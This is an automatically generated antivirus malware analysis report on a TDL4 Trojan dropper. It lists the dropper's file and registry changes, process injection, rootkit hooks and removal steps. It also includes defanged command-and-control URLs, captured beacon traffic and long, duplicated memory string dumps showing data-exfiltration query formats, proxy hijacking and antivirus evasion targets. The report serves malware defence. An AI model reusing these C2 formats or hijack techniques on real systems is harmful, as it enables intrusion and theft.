Tdl4_e7ac492c26 – Adaware

Trojan-Dropper.Win32.Mudrop.qqt (Kaspersky), Trojan.Win32.Swrort.3.FD, Tdl4.YR (Lavasoft MAS)Behaviour: Trojan-Dropper, Trojan

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: e7ac492c2666a87f7994c5bc476be1c6

SHA1: 54513315e422bd9e5d815df062c0f7ad405383e2

SHA256: c7b224b8fe9d40295aca479d7bd38486a4f25101fdcf9a6349b99b44a145f5d5

SSDeep: 6144:1iTvel3mUMsCAFJzfKdrTneEBU VEGtU6qAllEbouycgsBv41xndIOPtdz p78o9:YTAmdPmRKdvnekEUTcX41xdIqtdzkT

Size: 413696 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: BorlandDelphi30, UPolyXv05_v6

Company: no certificate found

Created at: 2011-07-27 16:30:16

Analyzed on: WindowsXP SP3 32-bit

Summary: Trojan-Dropper. Trojan program, intended for stealth installation of other malware into user's system.

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

20cb519f.exe:1772
76c886ae.exe:1724
76c886ae.exe:1016
%original file name%.exe:228

The Trojan injects its code into the following process(es):

76c886ae.exe:644
svchost.exe:1104
spoolsv.exe:1440

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process 20cb519f.exe:1772 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\1.tmp (1281 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\2.tmp (0 bytes)

The process 76c886ae.exe:644 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%System%\config\software (1427 bytes)
%Documents and Settings%\%current user%\Application Data\8AB6.016 (3943 bytes)
%System%\config\SOFTWARE.LOG (3715 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\conhost.exe (85457 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\S11ZMCDK\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CHABO9Y3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KN6P67IF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\I0ZHHCMC\desktop.ini (67 bytes)

The process %original file name%.exe:228 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\76c886ae.exe (11031 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\700ca0fb.exe (242 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20cb519f.exe (15653 bytes)

Registry activity

The process 20cb519f.exe:1772 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 43 35 CA 09 03 51 6A 68 5C BD 2A 4F 19 A2 64"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\4.tmp,"

The process 76c886ae.exe:1724 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "31 6F DC E1 99 64 54 E4 6B 18 03 08 D1 0D 6C E5"

The process 76c886ae.exe:644 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 03 00 00 00 14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer" = "http=127.0.0.1:61414"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C6 B3 60 BD 5A AE 42 E7 1E CF C8 2F A4 F6 DF 06"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"DefaultConnectionSettings" = "3C 00 00 00 03 00 00 00 03 00 00 00 14 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"conhost" = "%Documents and Settings%\%current user%\Application Data\Microsoft\conhost.exe"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyOverride"

The process 76c886ae.exe:1016 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C5 45 08 B9 B5 92 F1 27 2B 77 A8 56 17 D7 C0 A7"

Dropped PE files

MD5	File path
45ad2ee0055f3f99ccf05458df53df3e	c:\Documents and Settings\"%CurrentUserName%"\Application Data\Microsoft\conhost.exe
2fdc425fd692b6d835259aab22d79fbb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\4.tmp
38383af6f8d4f8901e484b8a51ecedc7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\700ca0fb.exe
45ad2ee0055f3f99ccf05458df53df3e	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\76c886ae.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "UNKNOWN" the Trojan controls loading executable images into a memory by installing the Load image notifier.

Using the driver ROOTKITPATH the Trojan intercepts DriverStartIO in a miniport driver of a hard drive controller (ATAPI) to handle request to its own files:

StartIo

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Scan a system with an anti-rootkit tool.
Terminate malicious process(es) (How to End a Process With the Task Manager):
20cb519f.exe:1772
76c886ae.exe:1724
76c886ae.exe:1016
%original file name%.exe:228
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\1.tmp (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%System%\config\software (1427 bytes)
%Documents and Settings%\%current user%\Application Data\8AB6.016 (3943 bytes)
%System%\config\SOFTWARE.LOG (3715 bytes)
%Documents and Settings%\%current user%\Application Data\Microsoft\conhost.exe (85457 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\S11ZMCDK\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\CHABO9Y3\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\KN6P67IF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\I0ZHHCMC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\76c886ae.exe (11031 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\700ca0fb.exe (242 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20cb519f.exe (15653 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"conhost" = "%Documents and Settings%\%current user%\Application Data\Microsoft\conhost.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	405650	406016	5.39289	284870151f8a0d61987de9f42f1fae4c
.data	413696	216	512	1.0327	fc55731b619f5844f884f19f3b71dab7
.uio1	417792	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.uio5	421888	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.uio8	425984	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.uio2	430080	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.uio7	434176	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.uio3	438272	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.uio4	442368	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.uio6	446464	4	512	0	bf619eac0cdf3f68d496ea9344137e8b
.rsrc	450560	16	512	0	bf619eac0cdf3f68d496ea9344137e8b
.reloc	454656	1366	1536	1.11944	d28c9269d3f2905bd84428f20f8c856e

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://onlineinstitute.com/g7/images/logo4.jpg?v66=78&tq=gHZutDyMv5rJeTTia9nrmsl6giWz+JZbVyA=	67.227.195.200
hxxp://ourmultstoryonline.com/blog/images/3521.jpg?v90=37&tq=gKZEtzyMv5rJqxG1J42pzMffBv0p1ejbwvgS917X65rJqlLfgPiWW1cg	69.164.203.105

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /g7/images/logo4.jpg?v66=78&tq=gHZutDyMv5rJeTTia9nrmsl6giWz+JZbVyA= HTTP/1.0

Connection: close

Host: onlineinstitute.com

Accept: */*

User-Agent: mozilla/2.0

HTTP/1.1 200 OK

Date: Wed, 10 Feb 2016 08:08:24 GMT

Server: Apache/2.2.26 (Unix) mod_ssl/2.2.26 OpenSSL/1.0.1e-fips mod_bwlimited/1.4

Last-Modified: Mon, 09 Jun 2014 17:01:30 GMT

ETag: "a40553-f5d-4fb6a299b6e80"

Accept-Ranges: bytes

Content-Length: 3933

Connection: close

Content-Type: image/jpeg

......JFIF.....H.H.....XICC_PROFILE......HLino....mntrRGB XYZ .........1..acspMSFT....IEC sRGB.......................-HP ................................................cprt...P...3desc.......lwtpt........bkpt........rXYZ........gXYZ...,....bXYZ...@....dmnd...T...pdmdd........vued...L....view.......$lumi........meas.......$tech...0....rTRC...<....gTRC...<....bTRC...<....text....Copyright (c) 1998 Hewlett-Packard Company..desc........sRGB IEC61966-2.1............sRGB IEC61966-2.1..................................................XYZ .......Q........XYZ ................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........desc........IEC hXXp://VVV.iec.ch............IEC hXXp://www.iec.ch..............................................desc........IEC 61966-2.1 Default RGB colour space - sRGB............IEC 61966-2.1 Default RGB colour space - sRGB......................desc.......,Reference Viewing Condition in IEC61966-2.1...........,Reference Viewing Condition in IEC61966-2.1..........................view.........._...............\.....XYZ .....L.V.P...W..meas................................sig ....CRT curv.......................#.(.-.2.7.;.@.E.J.O.T.Y.^.c.h.m.r.w.|...............................................................%. .2.8.>.E.L.R.Y.`.g.n.u.|.........................................&./.8.A.K.T.].g.q.z...............................!.-.8.C.O.Z.f.r.~......................... .-.;.H.U.c.q.~....................... .:.I.X.g.w.....................'.7.H.Y.j.{................... .=.O.a.t......

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

76c886ae.exe_644:

`.rsrc

t.WhH

SSj%S

GetProcessWindowStation

operator

XXXXXXXXXX

[%d] %s

Software\Microsoft\Windows NT\CurrentVersion\NetworkCards

BINPLACE : error BNP0000: Invalid switch - /%c

BINPLACE : warning BNP0000: ignoring directory %s

{A5B35993-9674-43cd-8AC7-5BC5013E617B}

\Windows NT

Software\Microsoft\Windows\CurrentVersion\Run

conhost.exe

%s\%s

dwm.exe

csrss.exe

{35BCA615-C82A-4152-8857-BCC626AE4C8D}

{4D92BB9F-9A66-458f-ACA4-66172A7016D4}

{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}

{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}

{6B985724-623F-492e-B0D6-C9715ADE853B}

/g/t.php?q=%s

{B37C48AF-B05C-4520-8B38-2FE181D5DC78}

{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}

Advapi32.dll

%s%s_1

%s_0_%d_%s

%s_%d

%s_%d_%d_%d_%d

%s_%s

hXXp://

%u.%u.%u.%u

POST %s HTTP/1.1

Host: %s

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Content-Length: %u

POST hXXp://%s%s HTTP/1.1

HTTP/1.0 200 OK

HTTP/1.1 200 OK

hXXp://zonedg.com/index.html

%d.%d.%d

%s|%s|%d

type=%s&system=%s&id=%s&status=%s

t=st&q=%s

%s?tq=%s

%s.%s

stor.cfg

exec%s

id=%s&hwid=%s&c=%d&ver=92

%s_%s_%d

_1_%d

_2_%d

_3_%d

_4_%d

SEND_INSTALL_REPORT_TM

hXXp://onlinebonbusson.com

hXXp://worldsuperwater.com

hXXp://mathematicshoolonline.com

hXXp://ourmultstoryonline.com

hXXp://ourlivestoryonline.com

hXXp://testmemoryonline.com

hXXp://vrscdxfunclub.com

hXXp://bestmusichitonline.com

hXXp://badcryangels.com

hXXp://hellhappened.com

SELECT_RESERV_SRV_%d

%s_%d_%s

id=%s&c=%d

%s_%d_%d_%d

%s_%d_%d

%s %s

%s start%s%c%s

c1.exe

c2.exe

c3.exe

%sq=%s

DWN_CON_STRP_%d_%s

hXXp://%d.ctrl.%s

blog/images/3521.jpg

blog/images/3522.jpg

blog/images/3523.jpg

t=%s&hrs=%d&q=%s&s=%d

t=%s&hrs=%d&q=&s=%d

%s/%s?v%d=%d&tq=%s

%s:%d/%s?v%d=%d&tq=%s

hXXp://monochrom.at/polytheism/pictures/TanzenderShiva.jpg

hXXp://crazyleafdesign.com/blog/images/share/stumble.png

hXXp://crazyleafdesign.com/blog/images/share/facebook.png

hXXp://realsoftwaredevelopment.com/WindowsLiveWriter/web-2_0_thumb_1.gif

hXXp://gravatar.com/avatar.php?gravatar_id=f2a3889aff6fc9711a3cbcfe64067be1

hXXp://gravatar.com/avatar.php?gravatar_id=f2a3889aff6fc9711a3cbcfe64067be2

hXXp://folusho.com/wp-content/uploads/2010/09/web-20-what-is-300x251.jpg

hXXp://psfk.com/img/icons/twitter.png

hXXp://psfk.com/img/icons/facebook.png

hXXp://healthylifenow.com/templates/7348/images/header_logo.jpg

hXXp://healthylifenow.com/templates/7349/images/header_logo.jpg

hXXp://hollandandbarrett.com/images/footer/account.jpg

hXXp://hollandandbarrett.com/images/footer/account.gif

hXXp://nationsautoelectric.com/images/50-217-1_F_1_.jpg

hXXp://nationsautoelectric.com/images/50-217-1_F_2_.jpg

hXXp://onlinebizdirectory.com/images/PowerShowBanner.gif

hXXp://onlinebizdirectory.com/images/PowerHideBanner.gif

hXXp://lostpropaganda.net/blog/pics/3321.jpg

hXXp://lostpropaganda.net/blog/pics/3322.jpg

hXXp://japanesegreenteaonline.com/assets/images/greentea-cha-1.gif

hXXp://japanesegreenteaonline.com/assets/images/greentea-cha-2.gif

hXXp://greenherbalteaonline.com/images/greenherbalteagirlholdingcup250.gif

hXXp://greenherbalteaonline.com/images/greenherbalteagirlholdingcup350.gif

hXXp://onlineinstitute.com/g7/images/logo.jpg

hXXp://onlineinstitute.com/g7/images/logo2.jpg

hXXp://onlineinstitute.com/g7/images/logo3.jpg

hXXp://onlineinstitute.com/g7/images/logo4.jpg

hXXp://onlinedatingsecretfriends.com/images/im133.jpg

hXXp://onlinedatingsecretfriends.com/images/im134.jpg

t=t&hrs=%d&q=id=1000&ver=%s&s=%d

t=ip&hrs=%d&q=&s=1

%s?v%d=%d&tq=%s

\gb_%d.bat

del "%s"

if exist "%s" goto a

cmd.exe /c "%s"

{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d

{C66E79CE-8935-4ed9-A6B1-4983619CB925}

{61B98B86-5F44-42b3-BCA1-33904B067B81}

{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}

{1ACD3490-8843-47EB-867B-EDDDD7FA37FD}

{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}

{6988405C-71C3-427c-975A-0398706E79EE}

ms.conf

s-internals.com

hXXp://core%s.%s/s.php?id=%s&c=121

system-reports.com

hXXp://xprstats.com/images/logo.png

hwid=%s&ver=%d&os=%s&av=%s&wd=%d

t=ml&q=%s

GET %s HTTP/1.0

User-Agent: mozilla/2.0

id=1000&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&port=%d

%s_1_%d_%s

%s_2_%d_%s

%s_3_%d_%s

%s_4_%d_%s

hwid=%s&id=%s

u.exe

%s up%s

&%s=%s

PARAM_PROXY_PORT_NUMBER

avgnt.exe

ccsvchst.exe

AvastUI.exe

mcagent.exe

drweb

SOFTWARE\Microsoft\Windows Defender

127.0.0.1

HTTP/1.x

google.com

hXXp://VVV.google.com

HTTP/1.1 302 Found

Location: %s

id=%s&type=%d&ppcid=%s

%s: %s

%s_5_%s

http=127.0.0.1:

prefs.js

Mozilla

"network.proxy.http"

"network.proxy.http_port"

"network.proxy.type"

"127.0.0.1"

%s(%s, %s);

operaprefs.ini

Opera

Use HTTP

HTTP server

127.0.0.1:%s

%s=%s

SEND_INSTALL_REPORT

%s:%s

SEND_INSTAL_REPORT3

id=%s&hwid=%s&step=1&wd=%d&av=%s

id=%s&hwid=%s

exec|%s

http=

bing.com

yahoo.com

search.aol.

suche.aol.

searcht2.aol.

.yimg.com

.bing.net

scorecardresearch.com

brightcove.com

.aol.

.atwola.

.ivwbox.

.google

.atdmt.

.abmr.

.tacoda.

.adtechus.

.autodatadirect.

.mapquestapi.

.ggpht.

.virtualearth.

.opera.

.microsoft.

.wsod.

.doubleclick.

.ypcdn.

.truveo.

.tlowdb.

mapq.st

.dartsearch.

.thawte.

http://

bing.com/search

search.yahoo.com/search

%s_1_%s

err%d%s_%d_%d

err0%s_%d_%d

&useragent=%s

&referer=%s

&type=%d

%s:443/?ver=92&system=%d&id=%s&hwid=%s&search=%s

%s_2_%s

%s_%s_%s

%s_3_%s

VVV.VVV.ru

hXXps://

.doubleclick.net

doubleclick.net

msn.com

%s_0%d_%d

=='undefined'?'%s':'%s'

.referrer

HTTP/1.0

%s %s %s

hXXp://VVV.google.com/

hXXp://VVV.yahoo.com/

.class

.midi

1.2.5

google_ad.url

google_ad.title

r.msn.com

google_ad.line1

zcÁ

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\76c886ae.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

%Documents and Settings%\%current user%\Application Data

%Documents and Settings%\%current user%\Application Data\Microsoft

GetProcessHeap

GetCPInfo

RegCloseKey

RegFlushKey

RegOpenKeyExA

RegEnumKeyExA

WinHttpQueryDataAvailable

WinHttpConnect

WinHttpSendRequest

WinHttpOpen

WinHttpOpenRequest

WinHttpReadData

WinHttpReceiveResponse

WinHttpCloseHandle

.text

`.rdata

@.data

.rsrc

trueP

KERNEL32.DLL

ADVAPI32.dll

ole32.dll

OLEAUT32.dll

RASAPI32.dll

SHELL32.dll

SHLWAPI.dll

USER32.dll

WINHTTP.dll

WININET.dll

WS2_32.dll

mscoree.dll

nKERNEL32.DLL

- Attempt to initialize the CRT more than once.

- CRT not initialized

- floating point support not loaded

WUSER32.DLL

Dr.Web

mhttp=127.0.0.1:%d

hXXp://VVV.yahoo.com

1.0.0.1

76c886ae.exe_644_rwx_0014D000_00001000:

%SystemRoot%\system32\mswsock.dll

temRoot%\system32\vsocklib.dll

on-Controls_6595b64144ccf1df_6.0.2600.5512_x-ww_35d4ce83\

MSAFD Tcpip [TCP/IP]

L{C689AAB8-8E78-11D0-8C47-00C04FC295EE

MSAFD Tcpip [UDP/IP]

MSAFD Tcpip [RAW/I

76c886ae.exe_644_rwx_00400000_00046000:

`.rsrc

t.WhH

SSj%S

GetProcessWindowStation

operator

XXXXXXXXXX

[%d] %s

Software\Microsoft\Windows NT\CurrentVersion\NetworkCards

BINPLACE : error BNP0000: Invalid switch - /%c

BINPLACE : warning BNP0000: ignoring directory %s

{A5B35993-9674-43cd-8AC7-5BC5013E617B}

\Windows NT

Software\Microsoft\Windows\CurrentVersion\Run

conhost.exe

%s\%s

dwm.exe

csrss.exe

{35BCA615-C82A-4152-8857-BCC626AE4C8D}

{4D92BB9F-9A66-458f-ACA4-66172A7016D4}

{C0429A47-0CF0-4d1b-9616-C588FA0A3DDB}

{43B671F0-5D50-4dbe-AD9C-64A6167C57AD}

{6B985724-623F-492e-B0D6-C9715ADE853B}

/g/t.php?q=%s

{B37C48AF-B05C-4520-8B38-2FE181D5DC78}

{95F6585C-CC1E-4b52-A63B-9FBC6A94F371}

Advapi32.dll

%s%s_1

%s_0_%d_%s

%s_%d

%s_%d_%d_%d_%d

%s_%s

hXXp://

%u.%u.%u.%u

POST %s HTTP/1.1

Host: %s

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Content-Length: %u

POST hXXp://%s%s HTTP/1.1

HTTP/1.0 200 OK

HTTP/1.1 200 OK

hXXp://zonedg.com/index.html

%d.%d.%d

%s|%s|%d

type=%s&system=%s&id=%s&status=%s

t=st&q=%s

%s?tq=%s

%s.%s

stor.cfg

exec%s

id=%s&hwid=%s&c=%d&ver=92

%s_%s_%d

_1_%d

_2_%d

_3_%d

_4_%d

SEND_INSTALL_REPORT_TM

hXXp://onlinebonbusson.com

hXXp://worldsuperwater.com

hXXp://mathematicshoolonline.com

hXXp://ourmultstoryonline.com

hXXp://ourlivestoryonline.com

hXXp://testmemoryonline.com

hXXp://vrscdxfunclub.com

hXXp://bestmusichitonline.com

hXXp://badcryangels.com

hXXp://hellhappened.com

SELECT_RESERV_SRV_%d

%s_%d_%s

id=%s&c=%d

%s_%d_%d_%d

%s_%d_%d

%s %s

%s start%s%c%s

c1.exe

c2.exe

c3.exe

%sq=%s

DWN_CON_STRP_%d_%s

hXXp://%d.ctrl.%s

blog/images/3521.jpg

blog/images/3522.jpg

blog/images/3523.jpg

t=%s&hrs=%d&q=%s&s=%d

t=%s&hrs=%d&q=&s=%d

%s/%s?v%d=%d&tq=%s

%s:%d/%s?v%d=%d&tq=%s

hXXp://monochrom.at/polytheism/pictures/TanzenderShiva.jpg

hXXp://crazyleafdesign.com/blog/images/share/stumble.png

hXXp://crazyleafdesign.com/blog/images/share/facebook.png

hXXp://realsoftwaredevelopment.com/WindowsLiveWriter/web-2_0_thumb_1.gif

hXXp://gravatar.com/avatar.php?gravatar_id=f2a3889aff6fc9711a3cbcfe64067be1

hXXp://gravatar.com/avatar.php?gravatar_id=f2a3889aff6fc9711a3cbcfe64067be2

hXXp://folusho.com/wp-content/uploads/2010/09/web-20-what-is-300x251.jpg

hXXp://psfk.com/img/icons/twitter.png

hXXp://psfk.com/img/icons/facebook.png

hXXp://healthylifenow.com/templates/7348/images/header_logo.jpg

hXXp://healthylifenow.com/templates/7349/images/header_logo.jpg

hXXp://hollandandbarrett.com/images/footer/account.jpg

hXXp://hollandandbarrett.com/images/footer/account.gif

hXXp://nationsautoelectric.com/images/50-217-1_F_1_.jpg

hXXp://nationsautoelectric.com/images/50-217-1_F_2_.jpg

hXXp://onlinebizdirectory.com/images/PowerShowBanner.gif

hXXp://onlinebizdirectory.com/images/PowerHideBanner.gif

hXXp://lostpropaganda.net/blog/pics/3321.jpg

hXXp://lostpropaganda.net/blog/pics/3322.jpg

hXXp://japanesegreenteaonline.com/assets/images/greentea-cha-1.gif

hXXp://japanesegreenteaonline.com/assets/images/greentea-cha-2.gif

hXXp://greenherbalteaonline.com/images/greenherbalteagirlholdingcup250.gif

hXXp://greenherbalteaonline.com/images/greenherbalteagirlholdingcup350.gif

hXXp://onlineinstitute.com/g7/images/logo.jpg

hXXp://onlineinstitute.com/g7/images/logo2.jpg

hXXp://onlineinstitute.com/g7/images/logo3.jpg

hXXp://onlineinstitute.com/g7/images/logo4.jpg

hXXp://onlinedatingsecretfriends.com/images/im133.jpg

hXXp://onlinedatingsecretfriends.com/images/im134.jpg

t=t&hrs=%d&q=id=1000&ver=%s&s=%d

t=ip&hrs=%d&q=&s=1

%s?v%d=%d&tq=%s

\gb_%d.bat

del "%s"

if exist "%s" goto a

cmd.exe /c "%s"

{ÕD9E4E0-906C-4B81-B1BF-2E9A76248146}_%d

{C66E79CE-8935-4ed9-A6B1-4983619CB925}

{61B98B86-5F44-42b3-BCA1-33904B067B81}

{B16C7E24-B3B8-4962-BF5E-4B33FD2DFE78}

{1ACD3490-8843-47EB-867B-EDDDD7FA37FD}

{0ECE180F-6E9E-4FA6-A154-6876D9DB8906}

{6988405C-71C3-427c-975A-0398706E79EE}

ms.conf

s-internals.com

hXXp://core%s.%s/s.php?id=%s&c=121

system-reports.com

hXXp://xprstats.com/images/logo.png

hwid=%s&ver=%d&os=%s&av=%s&wd=%d

t=ml&q=%s

GET %s HTTP/1.0

User-Agent: mozilla/2.0

id=1000&hwid=%s&ver=%d&os=%s&av=%s&wd=%d&port=%d

%s_1_%d_%s

%s_2_%d_%s

%s_3_%d_%s

%s_4_%d_%s

hwid=%s&id=%s

u.exe

%s up%s

&%s=%s

PARAM_PROXY_PORT_NUMBER

avgnt.exe

ccsvchst.exe

AvastUI.exe

mcagent.exe

drweb

SOFTWARE\Microsoft\Windows Defender

127.0.0.1

HTTP/1.x

google.com

hXXp://VVV.google.com

HTTP/1.1 302 Found

Location: %s

id=%s&type=%d&ppcid=%s

%s: %s

%s_5_%s

http=127.0.0.1:

prefs.js

Mozilla

"network.proxy.http"

"network.proxy.http_port"

"network.proxy.type"

"127.0.0.1"

%s(%s, %s);

operaprefs.ini

Opera

Use HTTP

HTTP server

127.0.0.1:%s

%s=%s

SEND_INSTALL_REPORT

%s:%s

SEND_INSTAL_REPORT3

id=%s&hwid=%s&step=1&wd=%d&av=%s

id=%s&hwid=%s

exec|%s

http=

bing.com

yahoo.com

search.aol.

suche.aol.

searcht2.aol.

.yimg.com

.bing.net

scorecardresearch.com

brightcove.com

.aol.

.atwola.

.ivwbox.

.google

.atdmt.

.abmr.

.tacoda.

.adtechus.

.autodatadirect.

.mapquestapi.

.ggpht.

.virtualearth.

.opera.

.microsoft.

.wsod.

.doubleclick.

.ypcdn.

.truveo.

.tlowdb.

mapq.st

.dartsearch.

.thawte.

http://

bing.com/search

search.yahoo.com/search

%s_1_%s

err%d%s_%d_%d

err0%s_%d_%d

&useragent=%s

&referer=%s

&type=%d

%s:443/?ver=92&system=%d&id=%s&hwid=%s&search=%s

%s_2_%s

%s_%s_%s

%s_3_%s

VVV.VVV.ru

hXXps://

.doubleclick.net

doubleclick.net

msn.com

%s_0%d_%d

=='undefined'?'%s':'%s'

.referrer

HTTP/1.0

%s %s %s

hXXp://VVV.google.com/

hXXp://VVV.yahoo.com/

.class

.midi

1.2.5

google_ad.url

google_ad.title

r.msn.com

google_ad.line1

zcÁ

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\76c886ae.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

%Documents and Settings%\%current user%\Application Data

%Documents and Settings%\%current user%\Application Data\Microsoft

GetProcessHeap

GetCPInfo

RegCloseKey

RegFlushKey

RegOpenKeyExA

RegEnumKeyExA

